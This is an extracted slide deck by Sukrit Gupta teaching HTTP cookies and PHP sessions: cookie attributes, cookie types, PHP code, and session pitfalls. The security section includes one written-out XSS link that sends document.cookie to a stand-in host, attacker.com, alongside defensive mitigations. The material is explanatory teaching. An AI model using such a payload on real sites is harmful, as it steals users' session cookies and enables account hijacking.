Cookies and Session

Sukrit Gupta

HTTP

HTTP is a stateless protocol. Does not remember what happened between

two consecutive requests. Even two Requests made by same user are

different for HTTP. HTTP just processes a client REQUEST and

supplies the server RESPONSE.

We need:- To maintain state. To maintain state means the ability to retain

values of variables and to keep track of users who are logged into the system.

To distinguish one user from Other. To save user Preferences.

Common example: Shopping carts.

Methods for maintaining state Cookies Sessions Passing [hidden] variables We writing the URL

Why not any other method

Although many details about the user (such as their browser, IP address and operating system) are available But because of the use of dynamic IP addresses (which change

every time the user logs on) IP address sharing (so that many people share the

same IP) there is no reliable way of recognizing a

particular user when they re-visit a website.

Cookies A cookie is a small piece of data sent from a

website and stored in a user's web browser which can be later retrieved by the website.

Also known as an HTTP cookie, web cookie, or browser cookie.

Max size of a cookie is 4kB. Each browser stores at least 300 cookies in

total and at least 20 cookies per server or domain.

A little about cookie’s origin [aka History]

The term "cookie" was derived from "magic cookie", which is the packet of data a program receives and sends again unchanged.

Lou Montulli (an employee at Netscape Communications) had the idea of using them in Web communications in June 1994.

He used cookie to create a Virtual Shopping Cart.

Uses of Cookies

Common uses for cookies are authentication, storing of site preferences, shopping cart items, and server session identification.

Ex Google uses cookies to provide customized pages

and search results to their users. StackOverFlow uses cookies to log in their users

automatically. Visitor tracking and statistics systems often use

them to track visitors. Google uses cookies to display interest

Preferenced advertisement to the visitor using cookies in aDsense.

How it works

Browser only sends the Name and Value of cookie with the request.

Ingredients of a Cookie.. General SYNTAX Cookie(Name, Value, exp. Time, path, domain, secure,

httponly) Name: The name of the cookie. This name is used by the

website to refer to it. The name should be unique to the website, but it doesn't matter if it clashes with the name of a cookie from another website.

Value: The value of the cookie. This value is stored on the clients computer; do not store sensitive information.

Expire: The time the cookie expires. This is a Unix timestamp so is in number of seconds. In other words, you'll most likely set this with the time() function plus the number of seconds before you want it to expire. If set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes).

Ingredients of a Cookie..(cont..) Path: The path on the server in which the

cookie will be available on. If set to '/', the cookie will be available within the entire domain. If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain. The default value is the current directory that the cookie is being set in.

Domain: The domain that the cookie is available to. Setting the domain to 'www.example.com' will make the cookie available in the www subdomain and higher subdomains.

Ingredients of a Cookie..(cont..) Secure: Indicates that the cookie should only

be transmitted over a secure HTTPS connection from the client. When set to TRUE, the cookie will only be set if a secure connection exists.

Httponly: When TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. It has been suggested that this setting can effectively help to reduce identity theft through XSS attacks

Types Of Cookies Session cookie

A user's session cookie (also known as an in-memory cookie or transient cookie) for a website exists in temporary memory only while the user is reading and navigating the website. When an expiry date or validity interval is not set at cookie creation time, a session cookie is created. Web browsers normally delete session cookies when the user closes the browser.

Persistent cookie A persistent cookie will outlast user sessions. If a persistent

cookie has its Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to the server every time the user visited the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason persistent cookies are also called tracking cookies.

Types Of Cookies… Secure cookie

A secure cookie has the secure attribute enabled and is only used via HTTPS, ensuring that the cookie is always encrypted when transmitting from client to server.

HttpOnly cookie On a supported browser, an HttpOnly session

cookie will be used only when transmitting HTTP (or HTTPS) requests, thus restricting access from other, non-HTTP APIs (such as JavaScript).

Types Of Cookies… Third-party cookie

First-party cookies are cookies set with the same domain (or its subdomain) as your browser's address bar. Third-party cookies are cookies set with domains different from the one shown on the address bar. The web pages on the first domain may feature content from a third-party domain, e.g. a banner advert run by www.advexample.com.

As an example, suppose a user visits www.example1.com, which includes an advert which sets a cookie with the domain ad.foxytracking.com. When the user later visits www.example2.com, another advert can set another cookie with the domain ad.foxytracking.com. Eventually, both of these cookies will be sent to the advertiser when loading their ads or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites this advertiser has footprints on.

Types Of Cookies… Supercookie:

A "supercookie" is a cookie with a public suffix domain, like .com, .co.uk

A supercookie with domain .com would be blocked by browsers; otherwise, a malicious website, like attacker.com, could set a supercookie with domain .com and get cookies of example.com.

Zombie cookie Some cookies are automatically recreated after a user has

deleted them; these are called zombie cookies. This is accomplished by a script storing the content of the

cookie in some other locations, such as the local storage available to Flash content and HTML5 storages and then recreating the cookie from backup stores when the cookie's absence is detected.

Implementation Using Php

To set a cookie use setcookie("UsersName", $name, time()+3600, "/",

".mysite.com", 1,1); It should be used before sending any output to the

page. To Read Cookie Values

$_COOKIE['CookieName']; $_REQUEST['CookieName'];

To Destroy a cookie setcookie("user", "", time()-3600); setcookie("UsersName", "", mktime(12,0,0,1, 1, 1990));

An example.. if(isset($_COOKIE['UsersName'])

{echo "Hello, ".$_COOKIE['UsersName']."! Welcome back!";}else{setcookie("UsersName",$name);}

Cookie security and privacy issues Cookies are NOT viruses. Cookies use a plain

text format. They are not compiled pieces of code so they cannot be executed nor are they self-executing.

Cookies CAN be used for malicious purposes though. Since they store information about a user's browsing preferences and history, both on a specific site and browsing among several sites, cookies can be used to act as a form of spyware.

Cookie theft and session hijacking Network eavesdropping

Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi).

This traffic includes cookies sent on ordinary unencrypted HTTP sessions.

An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money.

This issue can be resolved by specifying the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel.

Cookie theft and session hijacking Publishing false sub-domain – DNS cache poisoning

Via DNS cache poisoning, an attacker might be able to cause a DNS server to cache a fabricated DNS entry, say f12345.www.example.com with the attacker’s server IP address.

Since f12345.www.example.com is a sub-domain of www.example.com, victims’ browsers would submit all example.com-related cookies to the attacker’s server;

This vulnerability is usually for Internet Service Providers to fix, by securing their DNS servers

But it can also be mitigated if www.example.com is using Secure cookies.

Victims’ browsers will not submit Secure cookies if the attacker is not using encrypted connections.

If the attacker chose to use HTTPS, he would have the challenge of obtaining an SSL certificate for f12345.www.example.com from a Certificate Authority.

Without a proper SSL certificate, victims’ browsers would display (usually very visible) warning messages about the invalid certificate.

Cookie theft and session hijacking Cross-site scripting – cookie theft

Scripting languages such as JavaScript are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet.

These facts are used in combination with sites allowing users to post HTML content that other users can see.

As an example, an attacker may post a message on www.example.com with the following link:

<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>

When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies of the user that are active for the page.

When another user clicks on this link, list of cookies is sent to the attacker.com server. If the attacker’s posting is on https://www.example.com/somewhere, secure cookies will also be sent to attacker.com in plain text.

It is the responsibility of the website developers to filter out such malicious code.

Such attacks can be mitigated by using HttpOnly cookies.

Key tips for safe and responsible cookie-based Web browsing Install and keep antispyware applications

updated Many spyware detection, cleanup applications,

and spyware removers include attack site detection. They block your browser from accessing websites designed to exploit browser vulnerabilities or download malicious software.

Make sure your browser is updated If you haven't already, set your browser to update

automatically. This eliminates security vulnerabilities caused by outdated browsers. Many cookie-based exploits are based on exploiting older browsers' security shortcomings.

Session Session support consists of a way to preserve certain

data across subsequent accesses. A visitor accessing the web site is assigned a unique

id, the so-called session id. This is either stored in a cookie on the user side or is

propagated in the URL. The rest of the information and variables are stored on

server. Session variables hold information about one single

user, and are available to all pages in one application. In PHP the session support allows to store data

between requests in the $_SESSION superglobal array.

Session V/S Cookies A session retains data for the duration of the session. A cookie retains values for as long as you need it to. Cookies should be used to store simple data for a long

period of time. If one go to the website a lot, they might want their username to be remembered for them, so it can be stored as a cookie.

Critical and private data should not be stored in cookie instead sessions should be used.

Cookies can be any time altered by User. Cookie might be disabled On a system so Sessions

employing URL can be used. Cookies can be any time altered by User. Cookies are sent with each request so a lot of cookies

can slow down the process.

Php Session. Starting a PHP Session

<?php session_start(); ?> The session_start() function must appear BEFORE

the <html> tag Storing a Session Variable

$_SESSION['views']=1; Destroying a Session

unset($_SESSION['views']); --used to free the specified session variable

session_destroy(); --reset the session and delete all stored session data.

Some pitfalls If we write session_id in url:

one might save the offline page as a bookmark or pass the link across to others not realizing that the session id information is also sent. (session fixation.)

So someone who quickly accesses these pages could possible get logged on.

To prevent this we can use cookies But this could cause problems when dealing with

transaction which involve switch sites, i.e. siteA forwards to site B for payment which forwards to siteA for thank you, in which case a phpsessid inform might be used to revive the old session.

Some tips:- Ensure you always use a new self generated session id on successful login attempt. - Use https throughout to ensure no one can sniff your session id. - Store session id, remote IP information and compare for successive pages.